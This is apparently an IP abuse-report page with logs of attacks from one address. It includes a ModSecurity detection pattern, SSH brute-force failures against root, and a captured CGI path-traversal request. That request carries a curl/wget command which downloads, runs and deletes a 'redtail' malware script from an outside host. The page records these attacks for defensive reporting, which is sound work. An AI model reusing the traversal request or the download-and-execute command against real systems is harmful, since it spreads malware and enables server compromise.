ModSecurity: Access denied with code 403 (phase 2). Pattern match =(?:ogg|tls|gopher|data|php|zlib|( ...
show moreModSecurity: Access denied with code 403 (phase 2). Pattern match =(?:ogg|tls|gopher|data|php|zlib|(?:ht|f)tps?):/"
show less
ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/92.5.88.159
2025 ...
show moreThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/92.5.88.159
2025-10-03 01:30:27 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh apache.selfrep; rm -rf redtail.sh","content_type":"text/plain","header":{"Accept":["*/*"],"Connection":["keep-alive"],"Content-Length":["181"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"]},"host":"121.199.56.245:443","method":"POST","proto":"HTTP/1.1","remote_addr":"92.5.88.159:57554","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"}
show less
92.5.88.159 (DE/Germany/-), 5 distributed sshd attacks on account [root] in the last 3600 secs; Port ...
show more92.5.88.159 (DE/Germany/-), 5 distributed sshd attacks on account [root] in the last 3600 secs; Ports: *; Direction: 1; Trigger: LF_DISTATTACK; Logs: Oct 3 07:17:39 15408 sshd[13269]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.236.194.32 user=root
Oct 3 07:17:41 15408 sshd[13269]: Failed password for root from 103.236.194.32 port 37320 ssh2
Oct 3 08:00:38 15408 sshd[18413]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.5.88.159 user=root
Oct 3 08:00:40 15408 sshd[18413]: Failed password for root from 92.5.88.159 port 34062 ssh2
Oct 3 08:03:35 15408 sshd[18722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=92.5.88.159 user=root
IP Addresses Blocked:
103.236.194.32 (MN/Mongolia/-)
show less